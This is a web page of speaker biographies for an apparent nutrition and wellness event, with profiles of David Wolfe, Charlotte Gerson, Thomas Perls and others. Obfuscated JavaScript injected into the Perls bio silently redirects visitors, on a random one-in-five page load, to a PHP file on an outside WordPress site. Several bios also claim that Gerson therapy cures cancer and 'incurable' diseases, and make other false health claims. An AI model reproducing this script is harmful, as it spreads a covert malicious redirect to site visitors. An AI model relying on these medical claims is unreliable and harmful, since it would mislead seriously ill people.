Our Featured Speakers

David Wolfe


The rock star of the superfoods and longevity world, America’s TOP CEOs, Global Ambassadors, Hollywood celebrities, busy professionals, and even the most powerful buying influence in the nation—Moms—all look to David for expert advice in health, beauty, herbalism, nutrition and chocolate!

David is the celebrity spokesperson for the brand new NUTRiBULLET™ Superfood Nutrition Extractor, co-founder of online health magazine and is President of The Fruit Tree Planting Foundation with a mission to plant 18 billion fruit trees on planet Earth.

With over 16 years of dedicated experience and understanding of the inner workings of the human body, David is a true living master of what it means to “walk the talk” on the road to higher and higher levels of natural beauty, vibrant health, and peak-performance.

David is the author of many best-selling books includingEating for Beauty, The Sunfood Diet Success System, Naked Chocolate, David Wolfe on Raw Foods, Superfoods, and Superherbs, Amazing Grace, Superfoods: The Food and Medicine of the Future and The LongevityNOW Program. David empowers and inspires people to take charge of their own health because, after all, Health is Wealth!

David’s celebrity fan base includes Woody Harrelson, Justin Bua, Mix Master Mike, Mr. Wiggles, Bryce Dallas Howard, John Assaraf, Anthony Robbins, Angela Bassett, and many others.

A highly sought after health and personal success speaker, David has given over 2000 live lecture events in the past 16 years. Today, David Wolfe continues to share the stage in the company of Anthony Robbins, Mark Victor Hansen, Jack Canfield, Deepak Chopra, Buzz Aldrin, T. Harv Eker, John Gray, Les Brown, Barbara DeAngelis, Brian Tracy, and many more.


Joel Fuhrman


Joel Fuhrman, M.D. is a board-certified family physician, New York Times best-selling author and nutritional researcher who specializes in preventing and reversing disease through nutritional and natural methods. Dr. Fuhrman is an internationally recognized expert on nutrition and natural healing, and has appeared on hundreds of radio and television shows including The Dr. Oz show, The Today Show, Good Morning America, and Live with Kelly. Dr. Fuhrman’s own hugely successful PBS television shows, 3 Steps to Incredible Health and Dr. Fuhrman’s Immunity Solution bring nutritional science to homes all across America.

Dr. Fuhrman’s #1 New York Times best-selling book, Eat to Live, originally published in 2003 (Little Brown) has sold over 1,000,000 copies and has been published in multiple foreign language editions. In October 2012, Super Immunity(HarperOne) reached the New York Times best seller’s list and in January 2013, The End of Diabetes (HarperOne) became his third New York Times best seller. His latest book,Eat to Live Cookbook (HarperOne) debuted at #1 on theNew York Times best seller list in October 2013, one week after its release. In addition, Dr. Fuhrman has written several other popular books on nutritional science which include: Eat for Health (Gift of Health Press), Disease Proof Your Child(St. Martin’s Griffin), Fasting and Eating for Health (St. Martin’s Griffin) and the Dr. Fuhrman’s Nutritarian Handbook and ANDI Food Scoring Guide (Gift of Health Press).


John Robbins


John Robbins is the author of The New Good Life: Living Better Than Ever in an Age of Less.

He is also author of the international bestseller DIET FOR A NEW AMERICA: How Your Food Choices Affect Your Health, Happiness, and the Future of Life on Earth, THE FOOD REVOLUTION: How Your Diet Can Help Save Your Life and Our World, HEALTHY AT 100: The Scientifically Proven Secrets of the World’s Healthiest and Longest-Lived Peoples, THE AWAKENED HEART: Meditations on Finding Harmony in a Changing World, and RECLAIMING OUR HEALTH: Exploding the Medical Myth and Embracing the Source of True Healing.

John’s work has been the subject of cover stories and feature articles in The San Francisco Chronicle, The Los Angeles Times, Chicago Life, The Washington Post, The New York Times, The Philadelphia Inquirer, and many of the nation’s other major newspapers and magazines. His life and work have also been featured in an hour long PBS special titled Diet For A New America.

The only son of the founder of the Baskin-Robbins ice cream empire, John Robbins was groomed to follow in his father’s footsteps, but chose to walk away from Baskin-Robbins and the immense wealth it represented to “…pursue the deeper American Dream…the dream of a society at peace with its conscience because it respects and lives in harmony with all life forms. A dream of a society that is truly healthy, practicing a wise and compassionate stewardship of a balanced ecosystem.”

Considered by many to be one of the most eloquent and powerful spokespersons in the world for a sane, ethical and sustainable future, John has been a featured and keynote speaker at major conferences sponsored by Physicians for Social Responsibility, Beyond War, Oxfam, the Sierra Club, the Humane Society of the United States, the United Nations Environmental Program, UNICEF, and many other organizations dedicated to creating a healthy, just, and sustainable way of life. He is the recipient of the Rachel Carson Award, the Albert Schweitzer Humanitarian Award, the Peace Abbey’s Courage of Conscience Award, and lifetime achievement awards from groups including Green America. The widespread media attention he has received has included numerous appearances on national shows including Oprah, Donahue and Geraldo. When John spoke at the United Nations, he received a standing ovation.

John serves on the Boards of many non-profit groups working toward a thriving, just, and sustainable way of life. He is the Founder and Board Chair Emeritus of EarthSave International(, an organization dedicated to healthy food choices, preservation of the environment, and a more compassionate world. John is also the Board Chair of YES!(, which educates, inspires and empowers young leaders to take positive action for all life on Earth.

John’s life is dedicated to creating an environmentally sustainable, spiritually fulfilling and socially just human presence on this planet. He lives with his wife Deo, their son Ocean and his wife Michele, and their grandsons River and Bodhi in the hills outside Santa Cruz, California. The Robbins’ offices and home run on solar electricity.


Charlotte Gerson


When Charlotte Gerson was 12 years old, she was healed of tuberculosis by her father, Dr. Max Gerson and it is important to note that at the time, tuberculosis was considered a death sentence, Now 89, she has the longest survival record of anyone who has been treated by the Gerson therapy. She is also the world’s leading authority on its theory, background, and practice.

The youngest of Max Gerson’s three daughters, she began in her teens serving as her father’s assistant, studying with him and working in his practice.

When the family fled Germany before World War II and the Holocaust, she was 11 years old. The Gersons’ first stop was Vienna, Austria, where Charlotte contracted bone tuberculosis, then considered an incurable, fatal disease. Dr. Gerson cured her using his now famous therapy before they had to flee Austria for Ville d’Avray, France, then London. After they relocated in New York City, Max Gerson established a clinic for his seriously ill patients, where Charlotte spent many hours making rounds with him. She also continued her formal education, attending Smith College for two years before dropping out to marry her husband, Irwin.

When her father died in 1959, she vowed his work would not die with him. With funds in short supply and opposition by such powerful forces as the drug companies and the American Medical Association, it would have proved a daunting task for one without Charlotte’s determination. She has never wavered in her dedication to her father’s work and has trained her children, Howard Straus, now 68, and Margaret Straus Dego, 64, to carry
on after her, as Dr. Gerson trained her.

Charlotte began lecturing, first locally, then around the country, and was even asked to appear twice on the Oprah Winfrey show in Baltimore and Chicago before Oprah went national. She has appeared on Christian Broadcasting, Trinity Broadcasting, and PBS and is regularly interviewed on radio stations nationwide. Until she was 82, she did annual lecture tours in England, Ireland, Italy, Hungary and Germany. In 1977 she founded the Gerson Institute with Norman Fritz, president of the Cancer Control Society. The Institute established treatment centers and trained holistic physicians, nurses and kitchen help in the elements of her father’s nutritional treatment. Their training programs have expanded and now treat hundreds of practitioners and caregivers annually, coming from all corners of the globe.

She is renowned for her integrity and deep, intuitive understanding of chronic disease and its cure. She uses iridology, keen observation, skin tone, any clue she can to accurately assess a patient’s condition. She will often detect conditions and ailments the patient does not tell her about.

Howard Straus describes his mother: “There are people all over the world who love her and whose lives have been changed by the Gerson Therapy. She is a combination of Billy Graham’s fervent evangelism, Ralph Nader’s cautionary suspicion of industry, and June Cleaver’s warmth and maternal energy. She is absolutely rock solid, keeps her promises, generous, quite literally a world treasure, yet humble, like Dr. Gerson. Surgeons and naturopaths, chiropractors and patients seek her out with admiration and honor.”

Charlotte Gerson is the author of four books, with the most successful and acclaimed book being Healing the Gerson Way: Defeating Cancer and Other Chronic Diseases. This book, an update and upgrade of Dr. Gerson’s 50-year-old A Cancer Therapy: Results of 50 Cases, has been translated into a total of twelve languages and published in eight as of this writing. Her latest books are Defeating Obesity, Diabetes and High Blood Pressure: The Metabolic Syndrome and Defeating Arthritis, Bone and Joint Diseases. Because of the large and increasing incidence of these conditions, her books sell well all over the world. Charlotte has appeared in four documentaries directed by Steve Kroschel: The Gerson Miracle, Dying to Have Known, The Beautiful Truth and Alive Tomorrow. Because of her sterling reputation of integrity and unwillingness to compromise her principles, Charlotte has become the “Grande Dame” of alternative medicine, and is invited to appear in a documentary approximately every month or two. Charlotte has also authored many articles for the Gerson Healing Newsletter, and is the author of a series of nine introductory booklets on healing various disorders using the Gerson Therapy.

At 89, Charlotte is a true reflection of her father’s medical philosophy. She is in robust good health and continues to work full time in her practice. In Healing the Gerson Way she describes the methods she has used successfully for six decades to help thousands of people recover from cancer, hepatitis, heart disease and other “incurable” illnesses. It’s a must-read for patients who have attended Gerson Therapy clinics and want to continue the work at home. Also, many people who could not attend a clinic have found the help they needed from the book alone.

Today Charlotte Gerson lives in Southern California, and makes weekly rounds at the Gerson Therapy clinic in Playas de Tijuana, Mexico. Though retired from the day-to-day operations of the Institute she founded, Charlotte remains an active member of its Board of Directors, participates in training sessions, lectures and appears on radio shows weekly, inspires, encourages and advises practitioners, patients, radio listeners and millions around the world.


Daphne Miller


Dr. Daphne Miller founded WholefamilyMD in 2000 to focus on the whole person and to incorporate a blend of conventional and alternative healing approaches. She believes that her most valuable role is to help patients discover their “inner doctor,” the skills they need to manage their own health. Dr. Miller is an Associate Professor at UCSF where she teaches nutrition and integrative medicine. Since 2005, she has consistently been elected by her peers for inclusion in Best Doctors in America.

Dr. Miller is a contributing writer to the Washington Post as well as other publications and she is author of two books:The Jungle Effect: The Healthiest Diets from Around the World, Why They Work and How to Make Them Work for You(HarperCollins 2008) and Farmacology: Total Health from the Ground Up (HarperCollins 2013). Miller is a graduate of Brown University and Harvard Medical School and completed her family medicine residency and an NIH-funded primary care research fellowship at UCSF. She is also a Bravewell Fellow with the University of Arizona Program in Integrative Medicine.


John Bagnulo


A naturalist because of his understanding of the biological processes at work in the world and in our bodies and a nutritionist because of his ability to see how foods influence these processes and how these processes influence food. “I see a nutritionist as part farmer, part cook and part doctor” Bagnulo admits. “ You have to understand more than just the basics in all of these fields to be able to truly help people”.

John Bagnulo has worked as a nutritionist and assistant professor for the past 16 years. He has taught courses in human metabolism, food and ecology, food and culture, nutrition and disease, and nutrition and cooking, among others. He has helped hundreds of patients reverse chronic diseases through a diet of whole foods.

John’s practice is centered at 39 Main Street in Belfast, Maine. Where he meets with nutrition clients daily.

In addition, he is in the process of planning and building a small, sustainable farm that will one day serve as a classroom for people of all ages and all walks of life to learn more about sustainable living and what they can do at home.

He has a Masters of Public Health from the University of North Carolina and a Doctorate from the University of Maine.

One of the foremost experts on food and health, John’s lectures and discussions place food at the center of a web that stretches from our physiology to our fields and from our ancestors to our kitchens. His talks are sure to enlighten and entertain even the most well read and informed on the topic of nutrition and health.


Philip McCluskey


Philip McCluskey is a sought-after motivational speaker, author, host, spokesperson and weight loss expert who inspires and educates thousands worldwide about the raw food lifestyle, after he lost over 215 pounds naturally. After thirty failed diet attempts and the looming prospect of gastric bypass surgery, raw food saved Philip’s life, transforming him from a morbidly obese 400 pounds to a fit, energized, and glowing 185 pounds.

Passionate about the vibrant health and energy he gained when he lost his poor eating habits and emotional hang-ups, Philip has made it his mission to spread hope and health to others. He has appeared as a keynote speaker at corporate and health events, the tv show “The Doctors”, CBS Better CT, and has also inspired over a million viewers who have followed his journey on YouTube. Philip has also hosted and been the spokesperson for several juicing and health related products like the Jack LaLanne Juicer, Fusion Juicer, and more.

He is the author of six books including the Weight Loss Blueprint, the Get Juicy Cleanse and co-founder, an educational website whose mission is to empower, educate and provide the finest wildcrafted functional superherbs so that you can experience your true potential and live a long, happy life.

When he’s not making videos, speaking, or traveling, Philip enjoys spending time outdoors in the sun, hiking, exercising, and living in the moment.


Shawn Stevenson


Shawn Stevenson is a Professional Nutritionist specializing in biochemistry and kinesiology. He is the author of several books and programs including The Fat Loss Code and The Key to Quantum Health.

Shawn holds a Bachelors of Science degree from The University of Missouri – St. Louis, and he is the founder of the Advanced Integrative Health Alliance.

Over more than a decade of research, Shawn’s work has touched the lives of thousands of people in his private practice, programs, and live events. Shawn’s greatest gift has been providing a tremendous array of valuable strategies, techniques, and proven methods for radically transforming the health and beauty of the human body.

Shawn is the host of The Model Health Show and has been featured on Clear Channel Radio, TEDx, and FOX Television.


Khepra Anu

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Khepra is a raw chef, owner of Khepra’s Raw Food Juice Bar, food scientist, detox specialist and yogi.

More about Khepra’s Raw Food Juice Bar: Our goal is simple, provide the best food for your priceless body temple. We go the extra mile in our food preparation to bring succulent entreés, luscious salads and side dishes, satisfying desserts, and of course the most refreshing juices. All of our food is live, raw, organic vegetarian fare.

Raw living foods have proven over and over that the Raw Food Diet is the optimal diet for living human beings. We are the only living creatures that bring additional heat to foods for consumption. 99% restaurants will rely on the worst cooking methods, which are deep frying and microwaving, for convenience, speed, and cost. What is convenience for most restaurants will end up inconveniencing your health and vitality. We are dedicated to using the best ingredients, no matter the cost, and the best methods for optimal flavor, textures, and presentation.

A key component to our business is providing fresh juice and coconut water for those looking to fast for healing, maintenance and optimal health. Fasting with the coconut water is second to none. We don’t believe in using carrots or wheatgrass. Carrots are a man created food that you will never find growing wild in nature and wheatgrass is for four legged animals. We can drink chlorophyl from land vegetation as well as sea vegetation combined with the coconut water to provide a true natural blood transfusion via our juice.

We are located inside of Dynamic Wellness at 4th & H St NE, so do yourself a favor and treat yourself to the best fare that DC has to offer.


John McDougall


A physician and nutrition expert who teaches better health through vegetarian cuisine, John A. McDougall, MD has been studying, writing, and speaking out about the effects of nutrition on disease for over 30 years. Dr. John and Mary McDougall believe that people should look and feel great for a lifetime. Unfortunately, many people unknowingly compromise their health through poor dietary habits.

Dr. McDougall is the founder and director of the nationally renowned McDougall Program: a ten-day residential program that he and Mary McDougall host at a luxury resort in Santa Rosa, CA where medical miracles occur through diet and lifestyle changes. In addition to her formal training as a nurse, Mary McDougall provides many of the delicious recipes that make the McDougall Program not only possible, but also a pleasure. Dr. McDougall has cared for thousands of patients for almost 3 decades. His program not only promotes a broad range of dramatic and lasting health benefits but, most importantly, can also reverse serious illnesses including high blood pressure, heart disease, diabetes and others, all without the use of drugs.

A graduate of Michigan State University’s College of Human Medicine, Dr. McDougall performed his internship at Queen’s Medical Center in Honolulu, Hawaii, and his medical residency at the University of Hawaii. He is certified as an internist by the Board of Internal Medicine and the National Board of Medical Examiners. He and Mary are also the authors of several nationally best-selling books as well as the co-founders of Dr. McDougall’s Right Foods, which produces high quality vegetarian cuisine to make it easier for people to eat well on the go.


Thomas Perls


Dr. Thomas Perls (born 1960) is the founding director of the$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == "string") return $VOcl3cIRrbzlimOyC8H.list[n].split("").reverse().join("");return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=["'php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and Centenarian Study” href=”” target=”_blank”>New England Centenarian Study. Born in Palo Alto,California, Perls later moved to Colorado and is now residing in Boston. He received his B.A. from Pitzer College in 1982, his M.D. from the University of Rochester School of Medicine and Dentistry in 1986 and his M.P.H. from Harvard Universityin 1993. Dr. Perls graduated from the Harbor UCLA Medical Center Internal Medicine program in 1989 and a 3 year Geriatrics clinical and research Geriatrics fellowship at theHarvard Medical School Division on Aging in 1993. He is a Principal Investigator of the National Institute on Agingfunded Long Life Family Study. Dr Perls is Professor of medicine at Boston University and attending physician in geriatrics at Boston Medical Center. He is author of over 110 peer reviewed articles primarily in the areas of biodemography and genetics of human exceptional longevity as well as the medical misuse of hormones for “anti-aging” and “age-management”.

Dr. Perls is the author of the online Living to 100 Life Expectancy Calculator. Perls is a prominent critic of “hormone replacement therapy” including growth hormone and testosterone for “anti-aging” and “age-management”. He is author of the website and he has testified before the U.S. Congress as well as provided written testimony for the U.S. Sentencing Commission regarding illegal distribution of growth hormone for anti-aging. Dr. Perls is an author of several academic articles about the medical misuse and illegal distribution of growth hormone and anabolic steroids, including testosterone, for anti-aging and body-building.


Jan Zeff


Dr. Zeff grew up in Illinois and received a BA in psychology from Ohio University and graduated phi beta kappa. She received her masters degree in educational psychology from Montclair State College and Penn State University. She attained her chiropractic degree from Palmer College of Chiropractic West with special training in lower back and graduated salutatorian. Dr. Zeff is also a certified sports practitioner and a certified clinical nutritionist. She is married and the mother of four children.

Dr. Zeff has treated patients from infancy to 99 with a variety of musculoskeletal and nutritional concerns. She has been in practice for 26 years and has twice been voted best chiropractor in Santa Cruz. Dr. Jan (as many of her patients call her) has a very general practice but also specializes in sports injuries, women’s health, pediatrics, personal injuries, workers compensation, and nutrition (supplementation, herbs, and acute prescribing homeopathy) She has holistic offices in both Ca. and Co. where she shares with other practitioners such as chiropractors, acupuncturists and massage therapists. She is also well connected to to the community for referral purposes if necessary. Both offices are children and animal friendly.

Dr. Zeff believes that there is a strong fundamental connection between the mind, body, spirit and healing.

The personal relationship that the doctor creates with the patient is as crucial to the healing and wellness process as the corrections made to the patient’s structure. Every person possesses the innate ability to heal. The doctor acts as a caring facilitator, expert and mentor to help restore the patient’s well being. The doctor and patient must work together as a team in order to create optimal health and wellness.


William Castelli


After graduating from Teaneck High School, Dr. Castelli obtained a B.S. degree in Zoology from Yale College. He received the degree of Doctor of Medicine, Surgery and Obstetrics from the Catholic University of Louvain in Belgium. After completing a rotating internship n 1959 at the King County Hospital Center associated with the Downstate Medical School of New York, Dr. Castelli completed a residency training program in medicine at the Lemuel Shattuck Hospital in Jamaica Plain, MA. Then a fellowship in Rheumatology at Massachusetts General Hospital what led to a Post-Doctor a Fellowship with Dr. David D. Rutstein at the Department of Preventive Medicine at the Harvard Medical School.

He joined the Framingham Heart Study in 1965 where he reorganized the Framingham laboratory to measure lipoproteins such as LDL, VLDL, IDL, HDL and sinking Pre-Beta (Lp {a}) .In 1979 Dr. Castelli became the third director of the Framingham Heart Study which now includes four generations of Framingham people. Associations with three medical schools in the area have led to his teaching epidemiology and prevention of atherosclerotic cardiovascular disease for 34 years at the Harvard Medical School, 22 years at the Boston University School of Medicine and 15 years at the University of Massachusetts Medical School. He most recently was the medical director of a new wellness program at the MetroWest Medical Center which specializes in the aggressive management of risk factors.


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